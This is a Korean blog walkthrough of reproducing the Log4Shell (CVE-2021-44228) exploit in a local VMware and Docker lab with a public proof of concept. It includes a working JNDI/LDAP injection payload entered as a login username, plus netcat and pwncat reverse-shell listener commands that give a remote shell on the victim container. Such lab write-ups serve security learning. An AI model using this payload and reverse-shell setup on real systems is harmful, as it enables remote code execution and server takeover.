환경
- VMware Pro 
- ubuntu : 22.04


라이브러리
- python : 3.10.12
- java : jdk1.8.0_20
- docker : 24.0.6

#1. 환경 구축

1) 기본 세팅

vmware에 ubuntu 22.04 버전을 설치하여 환경을 구성해야 한다.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install vim

등등 기본적으로 업데이트된 상태를 구성한다.

2) poc 코드 설치

sudo apt install -y git
git clone https://github.com/kozmer/log4j-shell-poc

git을 이용하여 poc 코드를 다운로드 받아준다.

log4j-shell-poc 폴더가 생성됨을 알 수 있다.

3) JAVA JDK 설치

JDK 파일이 있어야 내부 파일들을 실행이 가능하다.

다운로드 경로 : https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 

 

Java Archive Downloads - Java SE 8

We’re sorry. We could not find a match for your search. We suggest you try the following to help find what you’re looking for: Check the spelling of your keyword search. Use synonyms for the keyword you typed, for example, try "application" instead of

www.oracle.com

ubuntu에서 인터넷이 되는 환경에서 브라우저를 통해 jdk .tar 파일을 다운로드해준다.

.tar 파일을 압축해제 한 후 jdk 폴더 자체를 git을 통해 다운로드 받았던 poc 폴더 내에 넣어줘야 한다.

제대로 폴더 경로에 잘 설치되어있지 않으면 위와 같은 에러를 만나게 된다. jdk1.8.0_20 폴더 아래에 바로 bin 폴더가 오도록 잘 셋팅해줘야 한다!!!!!!!!!

4) python3.10 설치

나는 ubuntu를 처음 깔고 백지인 상태에서 시작했기 때문에 python도 새롭게 설치해줘야 했다.

pwncat이라는 모듈을 사용해야 했기에 python 3.9 이상이 필요했다. 

sudo apt-get install python3-pip -y
python3 -V

버전을 확인했을 때 3.9 이상이면 된다.

 python 설치가 완료되면 poc 코드를 실행하기 위한 설정을 해줘야 한다.

pip3 install -r requirements.txt

poc폴더 내에 있는 requirements.txt 로 설정을 마무리해준다.

 

5) pwncat 설치

이번에 처음으로 pwncat을 알게 되었다. reverse shell handler라고 한다.

pip3 install pwncat-cs

pwncat 까지 정상 설치가 되는지 확인한다. 정상적으로 설치되어야 exploit이 가능하다.

 

6) Docker 설치

chatgpt의 힘을 빌려 가상환경 ubuntu 내에 docker를 설치하고자 한다.

#시스템 패키지 업데이트
sudo apt update
#docker에 필요한 패키지 설치
sudo apt install apt-transport-https ca-certificates curl software-properties-common

#Docker 공식 GPG 키 추가
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
#Docker의 저장소 추가
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

#시스템 재 업데이트
sudo apt update




#docker 설치
sudo apt install docker-ce

#Docker 실행 및 상태 확인
sudo systemctl start docker
sudo systemctl enable docker

#sudo 권한 없이 Docker를 사용할 수 있도록 사용자 추가 
sudo usermod -aG docker $USER

#Docker 버전 확인
docker --version

도커가 정상적으로 설치되었다면 위와 같이 버전을 확인할 수 있다.

특정 서버를 도커에 올려서 exploit 가능한 대상으로 만들어야 한다.

#pwd : /home/ubuntu/log4j-shell-poc 

#Dockerfile 올리기
sudo docker build -t log4j-shell-poc .
#올라간 docker이미지 확인
sudo docker images

poc 폴더 내에 있는 Dockerfile 이미지를 올려준다. -t 옵션 뒤에 오는 [log4j-shell-poc]는 생성될 docker이미지명이다.

참고 url을 보면 해당 명령를 이해하기 쉽다.

https://chmodi.tistory.com/177

 

[Line CTF 2023 Write Up] WEB 1번: Baby Simple GoCurl

이번 CTF의 웹 분야 1번 문제 입니다. # 개요 전형적인 SSRF 문제로 내부에서만 접근 가능한 페이지에 접속하여 FLAG를 획득하는 문제 입니다. # 환경 구성 문제 파일을 다운받으면, Docker Image의 내용

chmodi.tistory.com

이미지 리스트에 생성한 docker이미지가 올라간 것을 확인할 수 있다.

 

#docker 실행
sudo docker run --network host log4j-shell-poc

위 명령어를 통해 올라간 도커를 실행해보자. 

웹 브라우저를 실행해 localhost:8080 으로 접속하면 웹 서버가 돌아가고 있음을 확인할 수 있다. (docker 잘 올라감)

 

#2. Exploit 구현

모든 셋팅은 완료되었으니 실제로 exploit을 시도해보고자 한다.

 

1) 리버스 쉘 접속용 (공격자)

nc -lvnp 9001

2) Exploit 시작 (공격자) 

git으로 다운로드 받은 폴더 내 poc.py를 실행해야 한다.

python3 poc.py --userip localhost --webport 8000 --lport 9001

8000 포트 : 웹 접속용

9001 포트 : reverse shell 접속용

 

3)pwncat reverse shell handler 실행 (공격자)

 

앞서 3개의 터미널 창을 띄워놓고 대기...

 

4) docker webapp에 접속 (희생자)

다시 docker를 실행

username  : ${jndi:ldap://localhost:1389/a}
password  : hello!

로그인시 위와 같이 접속을 해보자.

 

#3. 결과

위와 같이 exploit 한 터미널에서 웹 요청이 들어옴을 알 수 있다.

pwncat을 실행한 터미널에서는 connection이 이루어졌음을 확인할 수 있다.

그 후 back 명령어를 통해 remote shell 로 변경되어 해당 서버에 접근할 수 있게 됨을 확인하였다.

 

 

 

 

참고

https://velog.io/@isang/CVE-2021-44228log4shell-%EC%B7%A8%EC%95%BD%EC%A0%90-POC-%EC%8B%A4%EC%8A%B5#%EA%B3%B5%EA%B2%A9%EC%9E%90%EC%B0%BD-3--pwncat-%EC%8B%A4%ED%96%89

 

'WEB' 카테고리의 다른 글

python deserialize 취약점 (pickle)  (0) 2024.01.30
burp proxy 설정 관련  (0) 2023.10.23
오토 스케일링(Auto Scaling)과 클러스터링(Clustering)  (0) 2023.08.30
CSTI XSS  (0) 2023.08.26
API 이해  (0) 2023.07.06

+ Recent posts